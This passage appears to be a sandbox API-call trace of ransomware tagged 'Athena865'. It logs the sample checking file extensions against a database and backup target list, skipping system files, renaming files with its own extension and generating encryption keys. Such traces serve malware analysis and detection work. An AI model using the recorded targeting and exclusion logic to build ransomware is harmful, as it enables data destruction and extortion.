[0128.238] lstrlenW (lpString="sql") returned 3 [0128.238] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.238] lstrlenW (lpString="sqlite") returned 6 [0128.238] lstrcmpiW (lpString1="00.WMF", lpString2="sqlite") returned -1 [0128.238] lstrlenW (lpString="sqlite3") returned 7 [0128.239] lstrcmpiW (lpString1="600.WMF", lpString2="sqlite3") returned -1 [0128.239] lstrlenW (lpString="sqlitedb") returned 8 [0128.240] lstrcmpiW (lpString1="6600.WMF", lpString2="sqlitedb") returned -1 [0128.241] lstrlenW (lpString="xml") returned 3 [0128.243] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.243] lstrlenW (lpString="$er") returned 3 [0128.243] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.243] lstrlenW (lpString="4dd") returned 3 [0128.243] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.243] lstrlenW (lpString="4dl") returned 3 [0128.243] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.243] lstrlenW (lpString="^^^") returned 3 [0128.243] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.244] lstrlenW (lpString="abs") returned 3 [0128.245] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.246] lstrlenW (lpString="abx") returned 3 [0128.246] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.246] lstrlenW (lpString="accdb") returned 5 [0128.246] lstrcmpiW (lpString1="0.WMF", lpString2="accdb") returned -1 [0128.246] lstrlenW (lpString="accdc") returned 5 [0128.246] lstrcmpiW (lpString1="0.WMF", lpString2="accdc") returned -1 [0128.246] lstrlenW (lpString="accde") returned 5 [0128.246] lstrcmpiW (lpString1="0.WMF", lpString2="accde") returned -1 [0128.246] lstrlenW (lpString="accdr") returned 5 [0128.246] lstrcmpiW (lpString1="0.WMF", lpString2="accdr") returned -1 [0128.247] lstrlenW (lpString="accdt") returned 5 [0128.248] lstrcmpiW (lpString1="0.WMF", lpString2="accdt") returned -1 [0128.249] lstrlenW (lpString="accdw") returned 5 [0128.249] lstrcmpiW (lpString1="0.WMF", lpString2="accdw") returned -1 [0128.249] lstrlenW (lpString="accft") returned 5 [0128.249] lstrcmpiW (lpString1="0.WMF", lpString2="accft") returned -1 [0128.249] lstrlenW (lpString="adb") returned 3 [0128.249] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.249] lstrlenW (lpString="adb") returned 3 [0128.249] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.250] lstrlenW (lpString="ade") returned 3 [0128.250] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.251] lstrlenW (lpString="adf") returned 3 [0128.251] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.251] lstrlenW (lpString="adn") returned 3 [0128.251] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.251] lstrlenW (lpString="adp") returned 3 [0128.251] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.251] lstrlenW (lpString="alf") returned 3 [0128.251] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.251] lstrlenW (lpString="ask") returned 3 [0128.251] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.251] lstrlenW (lpString="btr") returned 3 [0128.251] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.252] lstrlenW (lpString="cat") returned 3 [0128.253] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.253] lstrlenW (lpString="cdb") returned 3 [0128.253] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.253] lstrlenW (lpString="ckp") returned 3 [0128.253] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.253] lstrlenW (lpString="cma") returned 3 [0128.253] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.253] lstrlenW (lpString="cpd") returned 3 [0128.254] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.254] lstrlenW (lpString="dacpac") returned 6 [0128.254] lstrcmpiW (lpString1="00.WMF", lpString2="dacpac") returned -1 [0128.254] lstrlenW (lpString="dad") returned 3 [0128.254] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.254] lstrlenW (lpString="dadiagrams") returned 10 [0128.254] lstrcmpiW (lpString1="216600.WMF", lpString2="dadiagrams") returned -1 [0128.254] lstrlenW (lpString="daschema") returned 8 [0128.254] lstrcmpiW (lpString1="6600.WMF", lpString2="daschema") returned -1 [0128.254] lstrlenW (lpString="db-journal") returned 10 [0128.254] lstrcmpiW (lpString1="216600.WMF", lpString2="db-journal") returned -1 [0128.254] lstrlenW (lpString="db-shm") returned 6 [0128.254] lstrcmpiW (lpString1="00.WMF", lpString2="db-shm") returned -1 [0128.255] lstrlenW (lpString="db-wal") returned 6 [0128.255] lstrcmpiW (lpString1="00.WMF", lpString2="db-wal") returned -1 [0128.255] lstrlenW (lpString="dbc") returned 3 [0128.255] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.255] lstrlenW (lpString="dbs") returned 3 [0128.255] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.255] lstrlenW (lpString="dbt") returned 3 [0128.255] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.255] lstrlenW (lpString="dbv") returned 3 [0128.256] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.257] lstrlenW (lpString="dbx") returned 3 [0128.257] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.257] lstrlenW (lpString="dcb") returned 3 [0128.257] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.259] lstrlenW (lpString="dct") returned 3 [0128.261] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.261] lstrlenW (lpString="dcx") returned 3 [0128.261] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0128.261] lstrlenW (lpString="ddl") returned 3 [0128.261] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0128.261] lstrlenW (lpString="dlis") returned 4 [0128.261] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0128.261] lstrlenW (lpString="dp1") returned 3 [0128.261] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0128.261] lstrlenW (lpString="dqy") returned 3 [0128.261] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0128.261] lstrlenW (lpString="dsk") returned 3 [0128.262] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0128.264] lstrlenW (lpString="dsn") returned 3 [0128.264] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0128.264] lstrlenW (lpString="dtsx") returned 4 [0128.264] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0128.264] lstrlenW (lpString="dxl") returned 3 [0128.264] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0128.264] lstrlenW (lpString="eco") returned 3 [0128.264] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0128.264] lstrlenW (lpString="ecx") returned 3 [0128.264] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0128.265] lstrlenW (lpString="edb") returned 3 [0128.266] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0128.266] lstrlenW (lpString="epim") returned 4 [0128.266] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0128.266] lstrlenW (lpString="fcd") returned 3 [0128.267] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0128.268] lstrlenW (lpString="fdb") returned 3 [0128.268] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0128.268] lstrlenW (lpString="fic") returned 3 [0128.268] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0128.268] lstrlenW (lpString="flexolibrary") returned 12 [0128.268] lstrlenW (lpString="fm5") returned 3 [0128.268] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0128.268] lstrlenW (lpString="fmp") returned 3 [0128.268] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0128.268] lstrlenW (lpString="fmp12") returned 5 [0128.268] lstrcmpiW (lpString1="0.WMF", lpString2="fmp12") returned -1 [0128.268] lstrlenW (lpString="fmpsl") returned 5 [0128.268] lstrcmpiW (lpString1="0.WMF", lpString2="fmpsl") returned -1 [0128.268] lstrlenW (lpString="fol") returned 3 [0128.268] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0128.268] lstrlenW (lpString="fp3") returned 3 [0128.268] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0128.268] lstrlenW (lpString="fp4") returned 3 [0128.268] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0128.268] lstrlenW (lpString="fp5") returned 3 [0128.268] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0128.269] lstrlenW (lpString="fp7") returned 3 [0128.269] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0128.269] lstrlenW (lpString="fpt") returned 3 [0128.269] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0128.269] lstrlenW (lpString="frm") returned 3 [0128.269] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0128.269] lstrlenW (lpString="gdb") returned 3 [0128.269] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.269] lstrlenW (lpString="gdb") returned 3 [0128.269] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.269] lstrlenW (lpString="grdb") returned 4 [0128.269] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0128.269] lstrlenW (lpString="gwi") returned 3 [0128.269] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0128.269] lstrlenW (lpString="hdb") returned 3 [0128.269] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0128.269] lstrlenW (lpString="his") returned 3 [0128.269] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0128.269] lstrlenW (lpString="ib") returned 2 [0128.269] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0128.269] lstrlenW (lpString="idb") returned 3 [0128.269] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0128.269] lstrlenW (lpString="ihx") returned 3 [0128.269] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0128.269] lstrlenW (lpString="itdb") returned 4 [0128.269] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0128.270] lstrlenW (lpString="itw") returned 3 [0128.270] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0128.270] lstrlenW (lpString="jet") returned 3 [0128.270] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0128.270] lstrlenW (lpString="jtx") returned 3 [0128.270] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0128.270] lstrlenW (lpString="kdb") returned 3 [0128.270] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0128.270] lstrlenW (lpString="kexi") returned 4 [0128.270] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0128.270] lstrlenW (lpString="kexic") returned 5 [0128.270] lstrcmpiW (lpString1="0.WMF", lpString2="kexic") returned -1 [0128.270] lstrlenW (lpString="kexis") returned 5 [0128.270] lstrcmpiW (lpString1="0.WMF", lpString2="kexis") returned -1 [0128.270] lstrlenW (lpString="lgc") returned 3 [0128.270] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0128.270] lstrlenW (lpString="lwx") returned 3 [0128.270] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0128.270] lstrlenW (lpString="maf") returned 3 [0128.270] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0128.270] lstrlenW (lpString="maq") returned 3 [0128.270] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0128.270] lstrlenW (lpString="mar") returned 3 [0128.270] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0128.270] lstrlenW (lpString="marshal") returned 7 [0128.270] lstrcmpiW (lpString1="600.WMF", lpString2="marshal") returned -1 [0128.270] lstrlenW (lpString="mas") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0128.271] lstrlenW (lpString="mav") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0128.271] lstrlenW (lpString="maw") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0128.271] lstrlenW (lpString="mdbhtml") returned 7 [0128.271] lstrcmpiW (lpString1="600.WMF", lpString2="mdbhtml") returned -1 [0128.271] lstrlenW (lpString="mdn") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0128.271] lstrlenW (lpString="mdt") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0128.271] lstrlenW (lpString="mfd") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0128.271] lstrlenW (lpString="mpd") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0128.271] lstrlenW (lpString="mrg") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0128.271] lstrlenW (lpString="mud") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0128.271] lstrlenW (lpString="mwb") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0128.271] lstrlenW (lpString="myd") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0128.271] lstrlenW (lpString="ndf") returned 3 [0128.271] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0128.271] lstrlenW (lpString="nnt") returned 3 [0128.272] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0128.272] lstrlenW (lpString="nrmlib") returned 6 [0128.272] lstrcmpiW (lpString1="00.WMF", lpString2="nrmlib") returned -1 [0128.272] lstrlenW (lpString="ns2") returned 3 [0128.272] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0128.272] lstrlenW (lpString="ns3") returned 3 [0128.272] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0128.272] lstrlenW (lpString="ns4") returned 3 [0128.272] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0128.272] lstrlenW (lpString="nsf") returned 3 [0128.272] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0128.272] lstrlenW (lpString="nv") returned 2 [0128.272] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0128.272] lstrlenW (lpString="nv2") returned 3 [0128.272] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0128.272] lstrlenW (lpString="nwdb") returned 4 [0128.272] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0128.272] lstrlenW (lpString="nyf") returned 3 [0128.272] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0128.272] lstrlenW (lpString="odb") returned 3 [0128.272] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.272] lstrlenW (lpString="odb") returned 3 [0128.272] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.272] lstrlenW (lpString="oqy") returned 3 [0128.272] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0128.272] lstrlenW (lpString="ora") returned 3 [0128.272] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0128.273] lstrlenW (lpString="orx") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0128.273] lstrlenW (lpString="owc") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0128.273] lstrlenW (lpString="p96") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0128.273] lstrlenW (lpString="p97") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0128.273] lstrlenW (lpString="pan") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0128.273] lstrlenW (lpString="pdb") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0128.273] lstrlenW (lpString="pdm") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0128.273] lstrlenW (lpString="pnz") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0128.273] lstrlenW (lpString="qry") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0128.273] lstrlenW (lpString="qvd") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0128.273] lstrlenW (lpString="rbf") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0128.273] lstrlenW (lpString="rctd") returned 4 [0128.273] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0128.273] lstrlenW (lpString="rod") returned 3 [0128.273] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0128.274] lstrlenW (lpString="rodx") returned 4 [0128.274] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0128.274] lstrlenW (lpString="rpd") returned 3 [0128.274] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0128.274] lstrlenW (lpString="rsd") returned 3 [0128.274] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0128.274] lstrlenW (lpString="sas7bdat") returned 8 [0128.274] lstrcmpiW (lpString1="6600.WMF", lpString2="sas7bdat") returned -1 [0128.274] lstrlenW (lpString="sbf") returned 3 [0128.274] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0128.274] lstrlenW (lpString="scx") returned 3 [0128.274] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0128.274] lstrlenW (lpString="sdb") returned 3 [0128.274] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0128.274] lstrlenW (lpString="sdc") returned 3 [0128.274] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0128.274] lstrlenW (lpString="sdf") returned 3 [0128.274] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0128.274] lstrlenW (lpString="sis") returned 3 [0128.274] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0128.274] lstrlenW (lpString="spq") returned 3 [0128.274] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0128.274] lstrlenW (lpString="te") returned 2 [0128.274] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0128.274] lstrlenW (lpString="teacher") returned 7 [0128.274] lstrcmpiW (lpString1="600.WMF", lpString2="teacher") returned -1 [0128.275] lstrlenW (lpString="tmd") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0128.275] lstrlenW (lpString="tps") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0128.275] lstrlenW (lpString="trc") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.275] lstrlenW (lpString="trc") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.275] lstrlenW (lpString="trm") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0128.275] lstrlenW (lpString="udb") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0128.275] lstrlenW (lpString="udl") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0128.275] lstrlenW (lpString="usr") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0128.275] lstrlenW (lpString="v12") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0128.275] lstrlenW (lpString="vis") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0128.275] lstrlenW (lpString="vpd") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0128.275] lstrlenW (lpString="vvv") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0128.275] lstrlenW (lpString="wdb") returned 3 [0128.275] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0128.276] lstrlenW (lpString="wmdb") returned 4 [0128.276] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0128.276] lstrlenW (lpString="wrk") returned 3 [0128.276] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0128.276] lstrlenW (lpString="xdb") returned 3 [0128.276] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0128.276] lstrlenW (lpString="xld") returned 3 [0128.276] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0128.276] lstrlenW (lpString="xmlff") returned 5 [0128.276] lstrcmpiW (lpString1="0.WMF", lpString2="xmlff") returned -1 [0128.276] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.Athena865") returned 73 [0128.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.athena865"), dwFlags=0x1) returned 1 [0128.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216600.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216600.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.277] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8006) returned 1 [0128.277] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.278] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.278] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.278] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.279] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2250, lpName=0x0) returned 0x154 [0128.280] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2250) returned 0x100000 [0128.281] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.282] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.282] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.283] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.283] CloseHandle (hObject=0x154) returned 1 [0128.283] CloseHandle (hObject=0x17c) returned 1 [0128.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.283] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1 [0128.283] lstrcmpiW (lpString1="J0216612.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.283] lstrcmpiW (lpString1="J0216612.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.283] lstrcmpiW (lpString1="J0216612.WMF", lpString2=".") returned 1 [0128.283] lstrcmpiW (lpString1="J0216612.WMF", lpString2="..") returned 1 [0128.283] lstrcmpiW (lpString1="J0216612.WMF", lpString2="windows") returned -1 [0128.283] lstrcmpiW (lpString1="J0216612.WMF", lpString2="bootmgr") returned 1 [0128.284] lstrcmpiW (lpString1="J0216612.WMF", lpString2="temp") returned -1 [0128.284] lstrcmpiW (lpString1="J0216612.WMF", lpString2="pagefile.sys") returned -1 [0128.284] lstrcmpiW (lpString1="J0216612.WMF", lpString2="boot") returned 1 [0128.284] lstrcmpiW (lpString1="J0216612.WMF", lpString2="ids.txt") returned 1 [0128.284] lstrcmpiW (lpString1="J0216612.WMF", lpString2="ntuser.dat") returned -1 [0128.284] lstrcmpiW (lpString1="J0216612.WMF", lpString2="perflogs") returned -1 [0128.284] lstrcmpiW (lpString1="J0216612.WMF", lpString2="MSBuild") returned -1 [0128.284] lstrlenW (lpString="J0216612.WMF") returned 12 [0128.284] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0216612.WMF" | out: lpString1="J0216612.WMF") returned="J0216612.WMF" [0128.284] lstrlenW (lpString="J0216612.WMF") returned 12 [0128.284] lstrlenW (lpString="Athena865") returned 9 [0128.284] lstrcmpiW (lpString1="16612.WMF", lpString2="Athena865") returned -1 [0128.284] lstrlenW (lpString=".dll") returned 4 [0128.284] lstrcmpiW (lpString1="J0216612.WMF", lpString2=".dll") returned 1 [0128.284] lstrlenW (lpString=".lnk") returned 4 [0128.284] lstrcmpiW (lpString1="J0216612.WMF", lpString2=".lnk") returned 1 [0128.284] lstrlenW (lpString=".ini") returned 4 [0128.284] lstrcmpiW (lpString1="J0216612.WMF", lpString2=".ini") returned 1 [0128.284] lstrlenW (lpString=".sys") returned 4 [0128.284] lstrcmpiW (lpString1="J0216612.WMF", lpString2=".sys") returned 1 [0128.284] lstrlenW (lpString="J0216612.WMF") returned 12 [0128.284] lstrlenW (lpString="bak") returned 3 [0128.284] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.284] lstrlenW (lpString="ba_") returned 3 [0128.284] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.284] lstrlenW (lpString="dbb") returned 3 [0128.284] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.285] lstrlenW (lpString="vmdk") returned 4 [0128.285] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.285] lstrlenW (lpString="rar") returned 3 [0128.285] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.285] lstrlenW (lpString="zip") returned 3 [0128.285] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.285] lstrlenW (lpString="tgz") returned 3 [0128.285] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.285] lstrlenW (lpString="vbox") returned 4 [0128.285] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.285] lstrlenW (lpString="vdi") returned 3 [0128.285] lstrcmpiW (lpString1="WMF", 